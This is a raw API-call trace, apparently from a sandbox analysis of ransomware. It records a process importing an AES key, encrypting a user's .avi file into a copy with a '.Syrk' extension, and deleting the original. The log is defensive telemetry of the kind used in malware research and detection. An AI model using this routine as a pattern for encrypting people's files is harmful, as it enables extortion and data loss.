0x28 [0256.863] SystemFunction041 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.863] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0256.863] SystemFunction040 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.863] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0256.863] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0256.864] SystemFunction041 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.864] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0256.864] SystemFunction040 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.864] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0256.864] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0256.864] SystemFunction041 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.864] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0256.864] SystemFunction040 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.864] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0256.864] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0256.865] SystemFunction041 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.865] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0256.865] SystemFunction040 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0256.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0256.865] SystemFunction041 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.865] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0256.865] SystemFunction040 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0256.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0256.866] SystemFunction041 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.866] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0256.866] SystemFunction040 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.866] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0256.866] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0256.866] SystemFunction041 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.866] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0256.866] SystemFunction040 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.866] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0256.867] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0256.867] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0256.867] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0256.867] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0256.868] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0256.868] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0256.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0256.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0256.868] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0256.868] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0256.868] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0256.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0256.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0256.868] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0256.869] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0256.869] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0256.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0256.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0256.869] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0256.869] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0256.869] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0256.869] EtwEventActivityIdControl () returned 0x0 [0256.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0256.870] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0256.870] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0256.870] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0256.872] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cff0) returned 1 [0256.874] CryptImportKey (in: hProv=0x5c4cff0, pbData=0x23c3fe0*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99a60) returned 1 [0256.874] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.875] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.876] EtwEventActivityIdControl () returned 0x0 [0256.876] EtwEventActivityIdControl () returned 0x0 [0256.876] EtwEventActivityIdControl () returned 0x0 [0256.884] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\qpxgrgh9_6h.avi")) returned 0x20 [0256.885] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\qpxgrgh9_6h.avi")) returned 0x20 [0256.885] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0256.886] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", lpFilePart=0x0) returned 0x29 [0256.886] EtwEventActivityIdControl () returned 0x0 [0256.886] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.887] EtwEventActivityIdControl () returned 0x0 [0256.887] EtwEventActivityIdControl () returned 0x0 [0256.887] EtwEventActivityIdControl () returned 0x0 [0256.903] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0256.903] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", lpFilePart=0x0) returned 0x29 [0256.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0256.904] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\qpxgrgh9_6h.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0256.904] GetFileType (hFile=0x364) returned 0x1 [0256.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0256.904] GetFileType (hFile=0x364) returned 0x1 [0256.904] EtwEventActivityIdControl () returned 0x0 [0256.905] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.905] EtwEventActivityIdControl () returned 0x0 [0256.905] EtwEventActivityIdControl () returned 0x0 [0256.905] EtwEventActivityIdControl () returned 0x0 [0256.907] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0256.907] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi.Syrk", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi.Syrk", lpFilePart=0x0) returned 0x2e [0256.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0256.907] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\qpxgrgh9_6h.avi.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0256.908] GetFileType (hFile=0x368) returned 0x1 [0256.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0256.908] GetFileType (hFile=0x368) returned 0x1 [0256.908] EtwEventActivityIdControl () returned 0x0 [0256.908] CryptGenRandom (in: hProv=0x5c4cff0, dwLen=0x10, pbBuffer=0x23d4568 | out: pbBuffer=0x23d4568) returned 1 [0256.910] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.910] CryptDuplicateKey (in: hKey=0x5c99a60, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99860) returned 1 [0256.910] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.910] CryptSetKeyParam (hKey=0x5c99860, dwParam=0x4, pbData=0x23d58a0*=0x1, dwFlags=0x0) returned 1 [0256.910] CryptSetKeyParam (hKey=0x5c99860, dwParam=0x1, pbData=0x23d586c, dwFlags=0x0) returned 1 [0256.911] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.911] EtwEventActivityIdControl () returned 0x0 [0256.911] EtwEventActivityIdControl () returned 0x0 [0256.911] EtwEventActivityIdControl () returned 0x0 [0256.912] EtwEventActivityIdControl () returned 0x0 [0256.913] ReadFile (in: hFile=0x364, lpBuffer=0x23d84dc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23d84dc*, lpNumberOfBytesRead=0x5a2e7d8*=0x10107, lpOverlapped=0x0) returned 1 [0256.915] CryptEncrypt (in: hKey=0x5c99860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ec4f4*, pdwDataLen=0x5a2e7cc*=0x10100, dwBufLen=0x10100 | out: pbData=0x23ec4f4*, pdwDataLen=0x5a2e7cc*=0x10100) returned 1 [0256.916] WriteFile (in: hFile=0x368, lpBuffer=0x23d4650*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23d4650*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0256.918] WriteFile (in: hFile=0x368, lpBuffer=0x23ed4e0*, nNumberOfBytesToWrite=0xf114, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23ed4e0*, lpNumberOfBytesWritten=0x5a2e7b0*=0xf114, lpOverlapped=0x0) returned 1 [0256.920] ReadFile (in: hFile=0x364, lpBuffer=0x23d84dc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23d84dc*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0256.920] CryptEncrypt (in: hKey=0x5c99860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23fc600*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23fc600*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0256.920] CryptEncrypt (in: hKey=0x5c99860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23fc61c*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23fc61c*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0256.920] WriteFile (in: hFile=0x368, lpBuffer=0x23d4650*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23d4650*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0256.920] CloseHandle (hObject=0x368) returned 1 [0256.984] CloseHandle (hObject=0x364) returned 1 [0256.986] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.987] EtwEventActivityIdControl () returned 0x0 [0256.987] EtwEventActivityIdControl () returned 0x0 [0256.987] EtwEventActivityIdControl () returned 0x0 [0256.992] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\qpxgrgh9_6h.avi")) returned 0x20 [0256.994] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0256.994] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", lpFilePart=0x0) returned 0x29 [0256.994] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0256.995] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0256.995] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0256.995] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0256.995] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0256.995] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0256.995] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0256.995] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0256.995] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0256.995] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0256.995] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0256.995] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0256.996] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0256.996] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0256.996] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0256.996] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x1a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos", lpFilePart=0x0) returned 0x19 [0256.996] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\qpxgrgh9_6h.avi")) returned 0x20 [0256.996] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0256.996] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", lpFilePart=0x0) returned 0x29 [0256.999] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0256.999] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", lpFilePart=0x0) returned 0x29 [0256.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0256.999] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0256.999] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", lpFilePart=0x0) returned 0x29 [0256.999] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\qpxgrgh9_6h.avi\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0257.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0257.040] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0257.040] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0257.041] CoTaskMemFree (pv=0x3b0008) [0257.044] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\qpxgrgh9_6h.avi")) returned 0x20 [0257.044] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0257.044] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi", lpFilePart=0x0) returned 0x29 [0257.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0257.044] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\qpxgrgh9_6h.avi"), fInfoLevelId=0x0, lpFileInformation=0x2407378 | out: lpFileInformation=0x2407378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8752020, ftCreationTime.dwHighDateTime=0x1d99a84, ftLastAccessTime.dwLowDateTime=0x9d9c3dd0, ftLastAccessTime.dwHighDateTime=0x1d99ce0, ftLastWriteTime.dwLowDateTime=0x9d9c3dd0, ftLastWriteTime.dwHighDateTime=0x1d99ce0, nFileSizeHigh=0x0, nFileSizeLow=0x10107)) returned 1 [0257.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0257.044] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\qpxgrgh9_6h.avi")) returned 1 [0257.045] EtwEventActivityIdControl () returned 0x0 [0257.046] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.047] EtwEventActivityIdControl () returned 0x0 [0257.047] EtwEventActivityIdControl () returned 0x0 [0257.047] EtwEventActivityIdControl () returned 0x0 [0257.055] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\qpxgrgh9_6h.avi.syrk")) returned 0x20 [0257.056] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Qpxgrgh9_6H.avi.Syrk" (normalized: 